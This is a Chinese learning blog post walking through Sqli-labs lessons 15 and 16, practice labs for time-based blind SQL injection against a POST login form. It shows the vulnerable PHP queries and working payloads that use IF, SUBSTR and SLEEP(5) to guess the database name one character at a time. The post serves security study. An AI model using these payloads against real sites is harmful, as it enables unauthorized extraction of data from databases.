Sqli-labs Less15-16 布尔-延时型sql盲注 - POST

本文记录 SQL 注入的学习过程,资料为 SQLi

SQLi 博客目录

Less - 15: POST - Blind - Booliant/time Based - Single Quotes##

  1. 测试漏洞

    本馆没有错误提示,利用延时注入

    源代码中

     @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
    

    使用了 ‘uname’ 进行处理

  2. 利用延时注入猜数据库

     post数据:
     uname=admin'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit
    
     # 或者 
    
     uname=admin'and If(left(database(),1)='s',1,sleep(5))#&passwd=11&submit=Submit
    
     # 数据库的第一位是 s
    

    正确的时候可以直接登录,不正确的时候延时 5 秒。

Less - 16: POST - Blind - Booliant/time Based - Double Quotes##

  1. 测试漏洞

    本馆没有错误提示,利用延时注入

    源代码中

     $uname='"'.$uname.'"';
     $passwd='"'.$passwd.'"';
     @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
    

    使用了 ("") 进行处理

  2. 利用延时注入猜数据库

     post数据:
     uname=admin")and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit
    
     # 或者 
    
     uname=admin")and If(left(database(),1)='s',1,sleep(5))#&passwd=11&submit=Submit
    
     # 数据库的第一位是 s
    

    正确的时候可以直接登录,不正确的时候延时 5 秒。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值